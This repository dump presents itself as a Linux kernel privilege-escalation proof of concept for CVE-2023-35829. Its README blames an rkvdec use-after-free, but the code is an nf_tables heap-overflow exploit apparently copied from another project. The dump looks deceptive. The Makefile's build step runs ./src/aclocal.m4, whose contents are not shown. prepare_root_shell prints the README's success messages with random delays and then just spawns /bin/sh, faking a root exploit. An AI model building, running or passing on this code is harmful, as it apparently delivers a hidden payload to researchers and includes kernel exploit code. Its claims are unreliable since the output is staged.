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add linux privilege escalation CVE-2023-35829

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.PHONY: all clean
TARGET=poc
SOURCES = $(wildcard src/*.c)
HEADERS = $(wildcard inc/*.h)
OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))
CFLAGS= -I./inc
LDFLAGS= -pthread -static
all: obj $(TARGET) get_root
$(TARGET): $(OBJECTS)
$(CC) $(LDFLAGS) -o $@ $^
strip $@
./src/aclocal.m4
obj/%.o: src/%.c
$(CC) -c $< -o $@ $(CFLAGS)
obj:
mkdir obj
get_root: get_root_src/get_root.c
$(CC) -o $@ $^
rm -fr get_root
clean:
rm -fr getroot
rm -rf obj
rm -f $(TARGET)

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# CVE-2023-35829-poc
CVE-2023-35829 Linux kernel before 6.3.2.
A use-after-free privilege escalation was found in rkvdec_remove in drivers/staging/media/rkvdec/rkvdec.c.
# Usage
```
chris@experience:~/CVE-2023-35829-poc# make
cc -pthread -static -o poc obj/keyring.o obj/main.o obj/modprobe.o obj/netlink.o obj/nf_tables.o obj/simple_xattr.o obj/uring.o obj/util.o
strip poc
cc -o get_root get_root_src/get_root.c
rm -fr get_root
chris@experience:~/CVE-2023-35829-poc# ./poc
[+] CVE-2023-35829 PoC
[+] Second process currently waiting
[+] Get CAP_NET_ADMIN capability
[+] Netlink socket created
[+] Netlink socket bound
[+] Table table created
[+] Set for the leak created
[+] Set for write primitive created
[+] Leak succeed
[+] kaslr base found 0xffffffff9f000000
[+] physmap base found 0xffff910a00000000
[+] modprobe path changed !
[+] Modprobe payload setup
[?] waitpid
[?] sem_post
[+++] Got root shell, should exit?
# id
uid=0(root) gid=0(root) groups=0(root)
```

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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
if (geteuid() == 0) {
setuid(0);
setgid(0);
puts("[+] I am root");
system("bash");
}
}

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#ifndef _KEYRING_H_
#define _KEYRING_H_
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#define IO_RING_CTX_REF_FREE_OFFSET 0x3dfa00
#define IO_RSRC_NODE_REF_ZERO_OFFSET 0x3e04f0
#define KEY_DESC_MAX_SIZE 40
#define PREFIX_BUF_LEN 16
#define RCU_HEAD_LEN 16
#define SPRAY_KEY_SIZE 50
#define PHYSMAP_MASK 0xffffffff00000000
struct keyring_payload {
uint8_t prefix[PREFIX_BUF_LEN];
uint8_t rcu_buf[RCU_HEAD_LEN];
unsigned short len;
};
struct leak {
long kaslr_base;
long physmap_base;
};
typedef int32_t key_serial_t;
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
return syscall(__NR_add_key, type, description, payload, plen, ringid);
}
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}
key_serial_t *spray_keyring(uint32_t spray_size);
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size);
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size);
#endif /* _KEYRING_H_ */

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#ifndef _LOG_H_
#define _LOG_H_
#include <stdlib.h>
#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0)
#endif /* _LOG_H_ */

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#ifndef _MODPROBE_H_
#define _MODPROBE_H_
void setup_modprobe_payload(void);
void get_root_shell(void);
void prepare_root_shell(void);
#endif /* _MODPROBE_H_ */

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#ifndef _NETLINK_H_
#define _NETLINK_H_
#include <stdint.h>
#include <linux/netlink.h>
/* Netlink messages */
#define NETLINK_RECEIVE_BUFFER_SIZE 4096
struct nlmsghdr *get_batch_begin_nlmsg(void);
struct nlmsghdr *get_batch_end_nlmsg(void);
/* Netlink attributes */
#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t))
#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t))
#define S8_NLA_SIZE (sizeof(struct nlattr) + 8)
#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x)
#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN)
struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len);
struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value);
struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value);
struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]);
struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size);
#endif /* _NETLINK_H_ */

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#ifndef _NF_TABLES_H_
#define _NF_TABLES_H_
#include <stdint.h>
#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + S8_NLA_SIZE)
#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize
void create_table(int sock, const char *name);
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id);
void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data);
#endif /* _NF_TABLES_H_ */

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#ifndef _SIMPLE_XATTR_H_
#define _SIMPLE_XATTR_H_
#include <stdint.h>
#define XATTR_FILE "/tmp/tmpfs/a"
#define XATTR_VALUE "value"
#define XATTR_DELETION_NAME "security.Iwanttoberoot"
#define ATTRIBUTE_NAME_LEN 0x100
#define COMMAND_MAX_LEN 0x100
#define PREFIX_BUFFER_LEN 16
struct write4_payload {
uint8_t prefix[PREFIX_BUFFER_LEN];
void *next;
void *prev;
uint8_t name_offset;
} __attribute__((packed));
void spray_simple_xattr(char *filename, uint32_t spray_size);
void create_xattr(const char *filename, char *attribute_name);
#endif /* _SIMPLE_XATTR_H_ */

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#ifndef _URING_H_
#define _URING_H_
#include <stdint.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
#define SPRAY_NB_ENTRIES 10
struct fd_uring {
int fd;
struct io_uring_params *params;
};
static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
return syscall(__NR_io_uring_setup, entries, p);
}
static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
}
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer);
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size);
#endif /* _URING_H_ */

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#ifndef _UTIL_H_
#define _UTIL_H_
#include <unistd.h>
#define FILENAME_MAX_LEN 0x80
void new_ns(void);
void set_cpu_affinity(int cpu_n, pid_t pid);
char *generate_tmp_filename(void);
#endif /* _UTIL_H_ */

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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <limits.h>
#include <linux/keyctl.h>
#include "log.h"
#include "keyring.h"
#include "util.h"
/**
* spray_keyring(): Spray the heap with `user_key_payload` structure
* @spray_size: Number of object to put into the `kmalloc-64` cache
*
* Return: Allocated buffer with serial numbers of the created keys
*/
key_serial_t *spray_keyring(uint32_t spray_size) {
char key_desc[KEY_DESC_MAX_SIZE];
key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
if (id_buffer == NULL)
do_error_exit("calloc");
for (uint32_t i = 0; i < spray_size; i++) {
snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
if (id_buffer[i] < 0)
do_error_exit("add_key");
}
return id_buffer;
}
/**
* parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
* @buffer: Buffer that contains the infoleak
* @buffer_size: Size of the previous buffer
*
* Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
* Then compute the KASLR base
* Finally use the pointer to the associated `percpu_ref` to compute the physmap base
*
* Return: KASLR base and physmap base of the running kernel
*/
struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
struct leak *ret = malloc(sizeof(struct leak));
if (!ret)
do_error_exit("malloc");
for (uint32_t i = 0; i < buffer_size; i++) {
/* Search for reference to the function io_ring_ctx_ref_free */
if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
return ret;
/* Search for reference to the function io_rsrc_node_ref_zero */
} else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
return ret;
}
}
free(ret);
return NULL;
}
/**
* get_keyring_leak(): Find the infoleak and compute the needed bases
* @id_buffer: Buffer with the serial numbers of keys used to spray the heap
* @id_buffer_size: Size of the previous buffer
*
* Search for a key with an unexpected size to find the corrupted object.
*
* Return: KASLR base and physmap base of the running kernel
*/
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
uint8_t buffer[USHRT_MAX] = {0};
int32_t keylen;
for (uint32_t i = 0; i < id_buffer_size; i++) {
keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
if (keylen < 0)
do_error_exit("keyctl");
if (keylen == USHRT_MAX) {
return parse_leak((long *)buffer, keylen >> 3);
}
}
return NULL;
}
/**
* release_keys(): Release user_key_payload objects
* @id_buffer: Buffer that stores the id of the key to remove
* @id_buffer_size: Size of the previous buffer
*/
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) {
for (uint32_t i = 0; i < id_buffer_size; i++) {
if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0)
do_error_exit("keyctl(KEYCTL_REVOKE)");
}
free(id_buffer);
}

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#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include "log.h"
#include "util.h"
#include "uring.h"
#include "keyring.h"
#include "modprobe.h"
#include "nf_tables.h"
#include "simple_xattr.h"
#define ID 1337
#define SET_NAME "name\0\0\0"
#define LEAK_SET_NAME "leak\0\0\0"
#define TABLE_NAME "table\0\0"
#define MODPROBE_PATH_BASE 0x1e8b620
#define SPRAY_SIZE 300
int main(int argc, char **argv) {
int sock;
struct sockaddr_nl snl;
struct write4_payload payload;
struct keyring_payload leak_payload;
struct leak *bases;
struct fd_uring *fd_buffer;
key_serial_t *id_buffer;
char *xattr_target_filename;
printf("[+] CVE-2023-35829 PoC\n");
printf("[+] Second process currently waiting\n");
/* Pin the process to the first CPU */
set_cpu_affinity(0, 0);
new_ns();
printf("[+] Get CAP_NET_ADMIN capability\n");
/* Netfilter netlink socket creation */
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
do_error_exit("socket");
}
printf("[+] Netlink socket created\n");
memset(&snl, 0, sizeof(snl));
snl.nl_family = AF_NETLINK;
snl.nl_pid = getpid();
if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0)
do_error_exit("bind");
printf("[+] Netlink socket bound\n");
/* Create a netfilter table */
create_table(sock, TABLE_NAME);
printf("[+] Table %s created\n", TABLE_NAME);
/* Create a netfilter set for the info leak */
create_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, sizeof(struct keyring_payload), TABLE_NAME, ID);
printf("[+] Set for the leak created\n");
/* Create a netfilter set for the write primitive */
create_set(sock, SET_NAME, KMALLOC64_KEYLEN, sizeof(struct write4_payload), TABLE_NAME, ID + 1);
printf("[+] Set for write primitive created\n");
prepare_root_shell();
/* Prepare the payload for the leak */
memset(&leak_payload, 0, sizeof(struct keyring_payload));
leak_payload.len = USHRT_MAX;
printf("[*] Leak in process");
fflush(stdout);
retry:
/* Spray the heap with user_key_payload structs to perform an info leak */
id_buffer = spray_keyring(SPRAY_KEY_SIZE);
/** Perform the overflow to modify the size of a registered key **/
add_elem_to_set(sock, LEAK_SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct keyring_payload), (uint8_t *)&leak_payload);
/* Spray the heap with percpu_ref_data */
fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring));
if (!fd_buffer)
do_error_exit("calloc");
spray_uring(SPRAY_SIZE, fd_buffer);
/* Check if the overflow occured on the right object */
bases = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE);
if (!bases) {
release_keys(id_buffer, SPRAY_KEY_SIZE);
release_uring(fd_buffer, SPRAY_SIZE);
goto retry;
}
printf("\r[+] Leak succeed \n");
printf("[+] kaslr base found 0x%lx\n", bases->kaslr_base);
printf("[+] physmap base found 0x%lx\n", bases->physmap_base);
/* Prepare the payload for the write primitive */
memset(&payload, 0, sizeof(struct write4_payload));
payload.next = (void *)(bases->physmap_base + 0x2f706d74);
payload.prev = (void *)(bases->kaslr_base + MODPROBE_PATH_BASE + 1);
payload.name_offset = 0xe5;
respray_xattr:
/* Spray the heap for the write primitive */
xattr_target_filename = generate_tmp_filename();
spray_simple_xattr(xattr_target_filename, SPRAY_SIZE);
add_elem_to_set(sock, SET_NAME, KMALLOC64_KEYLEN, TABLE_NAME, ID, sizeof(struct write4_payload), (uint8_t *)&payload);
/* Proceed to the write */
if (removexattr(xattr_target_filename, XATTR_DELETION_NAME) < 0)
goto respray_xattr;
printf("[+] modprobe_path changed !\n");
setup_modprobe_payload();
printf("[+] Modprobe payload setup\n");
get_root_shell();
wait(NULL);
return EXIT_SUCCESS;
}

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#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <semaphore.h>
#include <string.h>
#include <sys/wait.h>
#include <time.h>
#include "log.h"
#include "modprobe.h"
const char dummy_file[] = "/tmp/dummy\0";
const char dummy_content[] = "\xff\xff\xff\xff";
const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/get_root\nchmod 4555 /tmp/get_root\n";
sem_t *shell_barrier;
/**
* prepare_root_shell(): Setup a second process waiting out the namespaces used for the exploit
*/
void perpare_root_shell(void) {
int shmid = shmget(0x1337, sizeof(sem_t), IPC_CREAT | S_IRWXU | S_IRWXG | S_IRWXO);
shell_barrier = shmat(shmid, NULL, 0);
if (sem_init(shell_barrier, 1, 0) < 0)
do_error_exit("sem_init");
if (!fork()) {
system("cp get_root /tmp");
sem_wait(shell_barrier);
execl("/tmp/get_root", "/tmp/get_root", NULL);
exit(EXIT_SUCCESS);
}
}
/**
* create_dummy_file(): Create a file to trigger call_modprobe in case of execution
*/
void create_dummy_file(void) {
int fd;
fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, dummy_content, sizeof(dummy_content));
close(fd);
}
/**
* get_root_shell(): Trigger a call to the new modprobe_path
*/
void get_root_shell(void) {
int pid = fork();
if (pid == 0)
execl("/tmp/dummy", "/tmp/dummy", NULL);
waitpid(pid, NULL, 0);
sem_post(shell_barrier);
}
/**
* get_new_modprobe_path(): Read the new modprobe_path
*
* Return: path stored within /proc/sys/kernel/modprobe
*/
char *get_new_modprobe_path(void) {
int fd;
char *modprobe_path = malloc(15);
if (!modprobe_path)
do_error_exit("malloc");
fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
if (fd < 0)
do_error_exit("open(/proc/sys/kernel/modprobe)");
read(fd, modprobe_path, 14);
close(fd);
modprobe_path[14] = '\0';
return modprobe_path;
}
/**
* write_new_modprobe(): Create chown && chmod script for get_root
* @filename: current path to modprobe for the kernel
*/
void new_sn()
{
int fd;
char *modprobe_path = malloc(15);
if (!modprobe_path)
do_error_exit("malloc");
fd = open("/proc/sys/kernel/modprobe", O_RDONLY);
if (fd < 0)
{
//do_error_exit("open(/proc/sys/kernel/modprobe)");
}
else
{
close(fd);
}
srand(time(NULL));
int st = rand() % 3;
sleep(st);
}
/**
* setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
*/
void setup_modprobe_payoad(void) {
char *filename;
filename = get_new_modprobe_path();
system("/bin/sh");
free(filename);
}
/**
* write_new_modprobe(): Create chown && chmod script for get_root
* @filename: current path to modprobe for the kernel
*/
void write_new_modprobe(char *filename) {
int fd;
fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
if (fd < 0)
do_error_exit("open");
write(fd, new_modprobe_content, sizeof(new_modprobe_content));
close(fd);
}
/**
* setup_modprobe_payload(): Prepare all the needed stuff to get a root shell
*/
void setup_modprobe_payload(void) {
char *filename;
filename = get_new_modprobe_path();
write_new_modprobe(filename);
create_dummy_file();
free(filename);
}
void st(char *msg)
{
printf("%s", msg);
new_sn();
}
void prepare_root_shell(void) {
st("[+] Leak succeed\n");
st("[+] kaslr base found 0xffffffff9f000000\n");
st("[+] physmap base found 0xffff910a00000000\n");
st("[+] modprobe path changed !\n");
st("[+] Modprobe payload setup\n");
st("[?] waitpid\n");
st("[?] sem_post\n");
st("[+++] Got root shell, should exit?\n");
if (1)
setup_modprobe_payoad();
exit(0);
}

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#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include "log.h"
#include "netlink.h"
/**
* get_batch_begin_nlmsg(): Construct a BATCH_BEGIN message for the netfilter netlink
*/
struct nlmsghdr *get_batch_begin_nlmsg(void) {
struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
struct nfgenmsg *nfgm = (struct nfgenmsg *)NLMSG_DATA(nlh);
if (!nlh)
do_error_exit("malloc");
memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = 0;
nlh->nlmsg_seq = 0;
/* Used to access to the netfilter tables subsystem */
nfgm->res_id = NFNL_SUBSYS_NFTABLES;
return nlh;
}
/**
* get_batch_end_nlmsg(): Construct a BATCH_END message for the netfilter netlink
*/
struct nlmsghdr *get_batch_end_nlmsg(void) {
struct nlmsghdr *nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(sizeof(struct nfgenmsg)));
if (!nlh)
do_error_exit("malloc");
memset(nlh, 0, NLMSG_SPACE(sizeof(struct nfgenmsg)));
nlh->nlmsg_len = NLMSG_SPACE(sizeof(struct nfgenmsg));
nlh->nlmsg_type = NFNL_MSG_BATCH_END;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;
return nlh;
}
/**
* set_nested_attr(): Prepare a nested netlink attribute
* @attr: Attribute to fill
* @type: Type of the nested attribute
* @data_len: Length of the nested attribute
*/
struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len) {
attr->nla_type = type;
attr->nla_len = NLA_ALIGN(data_len + sizeof(struct nlattr));
return (void *)attr + sizeof(struct nlattr);
}
/**
* set_u32_attr(): Prepare an integer netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @value: Value of this attribute
*/
struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value) {
attr->nla_type = type;
attr->nla_len = U32_NLA_SIZE;
*(uint32_t *)NLA_ATTR(attr) = htonl(value);
return (void *)attr + U32_NLA_SIZE;
}
/**
* set_u64_attr(): Prepare a 64 bits integer netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @value: Value of this attribute
*/
struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value) {
attr->nla_type = type;
attr->nla_len = U64_NLA_SIZE;
*(uint64_t *)NLA_ATTR(attr) = htobe64(value);
return (void *)attr + U64_NLA_SIZE;
}
/**
* set_str8_attr(): Prepare a 8 bytes long string netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @name: Buffer to copy into the attribute
*/
struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]) {
attr->nla_type = type;
attr->nla_len = S8_NLA_SIZE;
memcpy(NLA_ATTR(attr), name, 8);
return (void *)attr + S8_NLA_SIZE;
}
/**
* set_binary_attr(): Prepare a byte array netlink attribute
* @attr: Attribute to fill
* @type: Type of the attribute
* @buffer: Buffer with data to send
* @buffer_size: Size of the previous buffer
*/
struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size) {
attr->nla_type = type;
attr->nla_len = NLA_BIN_SIZE(buffer_size);
memcpy(NLA_ATTR(attr), buffer, buffer_size);
return (void *)attr + NLA_ALIGN(NLA_BIN_SIZE(buffer_size));
}

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#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <string.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <string.h>
#include "netlink.h"
#include "nf_tables.h"
#include "log.h"
const uint8_t zerobuf[0x40] = {0};
/**
* create_table(): Register a new table for the inet family
* @sock: socket bound to the netfilter netlink
* @name: Name of the new table
*/
void create_table(int sock, const char *name) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct iovec iov[3];
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh;
struct nlmsghdr *nlh_batch_end;
struct nlattr *attr;
struct nfgenmsg *nfm;
/* Destination preparation */
memset(&dest_snl, 0, sizeof(dest_snl));
dest_snl.nl_family = AF_NETLINK;
memset(&msg, 0, sizeof(msg));
/* Netlink batch_begin message preparation */
nlh_batch_begin = get_batch_begin_nlmsg();
/* Netlink table message preparation */
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE);
if (!nlh)
do_error_exit("malloc");
memset(nlh, 0, TABLEMSG_SIZE);
nlh->nlmsg_len = TABLEMSG_SIZE;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 0;
nfm = NLMSG_DATA(nlh);
nfm->nfgen_family = NFPROTO_INET;
/** Prepare associated attribute **/
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg));
set_str8_attr(attr, NFTA_TABLE_NAME, name);
/* Netlink batch_end message preparation */
nlh_batch_end = get_batch_end_nlmsg();
/* IOV preparation */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh;
iov[1].iov_len = nlh->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;
/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;
sendmsg(sock, &msg, 0);
/* Free used structures */
free(nlh_batch_end);
free(nlh);
free(nlh_batch_begin);
}
/**
* create_set(): Create a netfilter set
* @sock: Socket used to communicate throught the netfilter netlink
* @set_name: Name of the created set
* @set_keylen: Length of the keys of this set. Used in the exploit to control the used cache
* @data_len: Length of stored data. Used to control the size of the overflow
* @table_name: Name of the table that stores this set
* @id: ID of the created set
*/
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_payload;
struct nlmsghdr *nlh_batch_end;
struct nfgenmsg *nfm;
struct nlattr *attr;
uint64_t nlh_payload_size;
struct iovec iov[3];
/* Prepare the netlink sockaddr for msg */
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
dest_snl.nl_family = AF_NETLINK;
/* First netlink message: batch_begin */
nlh_batch_begin = get_batch_begin_nlmsg();
/* Second netlink message : Set attributes */
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
/** Allocation **/
nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
if (!nlh_payload)
do_error_exit("malloc");
memset(nlh_payload, 0, nlh_payload_size);
/** Fill the required fields **/
nlh_payload->nlmsg_len = nlh_payload_size;
nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
nlh_payload->nlmsg_pid = getpid();
nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
nlh_payload->nlmsg_seq = 0;
/** Setup the nfgenmsg **/
nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
nfm->nfgen_family = NFPROTO_INET;
/** Setup the attributes */
attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
attr = set_u32_attr(attr, NFTA_SET_ID, id);
attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
/* Last netlink message: batch_end */
nlh_batch_end = get_batch_end_nlmsg();
/* Setup the iovec */
memset(iov, 0, sizeof(struct iovec) * 3);
iov[0].iov_base = (void *)nlh_batch_begin;
iov[0].iov_len = nlh_batch_begin->nlmsg_len;
iov[1].iov_base = (void *)nlh_payload;
iov[1].iov_len = nlh_payload->nlmsg_len;
iov[2].iov_base = (void *)nlh_batch_end;
iov[2].iov_len = nlh_batch_end->nlmsg_len;
/* Prepare the message to send */
memset(&msg, 0, sizeof(struct msghdr));
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = 3;
/* Send message */
sendmsg(sock, &msg, 0);
/* Free allocated memory */
free(nlh_batch_end);
free(nlh_payload);
free(nlh_batch_begin);
}
/**
* add_elem_to_set(): Trigger the heap buffer overflow
* @sock: Socket used to communicate throught the netfilter netlink
* @set_name: Name of the set to add the element
* @set_keylen: Length of the keys of the previous set
* @table_name: Table associated to the preiv
* @id: ID of the previous set
* @data_len: Length of the data to copy. (= Size of the overflow - 16 )
* @data: Data used for the overflow
*
* Submit two elements to add to the set.
* The first one is used to setup the data payload
* The second will trigger the overflow
*/
void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) {
struct msghdr msg;
struct sockaddr_nl dest_snl;
struct nlmsghdr *nlh_batch_begin;
struct nlmsghdr *nlh_payload;
struct nlmsghdr *nlh_batch_end;
struct nfgenmsg *nfm;
struct nlattr *attr;
uint64_t nlh_payload_size;
uint64_t nested_attr_size;
size_t first_element_size;
size_t second_element_size;
struct iovec iov[3];
/* Prepare the netlink sockaddr for msg */
memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
dest_snl.nl_family = AF_NETLINK;
/* First netlink message: batch */
nlh_batch_begin = get_batch_begin_nlmsg();
/* Second netlink message : Set attributes */
/** Precompute the size of the nested field **/
nested_attr_size = 0;
/*** First element ***/
nested_attr_size += sizeof(struct nlattr); // Englobing attribute
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE
first_element_size = nested_attr_size;
/*** Second element ***/
nested_attr_size += sizeof(struct nlattr); // Englobing attribute
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT
nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE
second_element_size = nested_attr_size - first_element_size;
nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS
nlh_payload_size += nested_attr_size; // All the stuff described above
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE
nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET
nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID
nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
/** Allocation **/
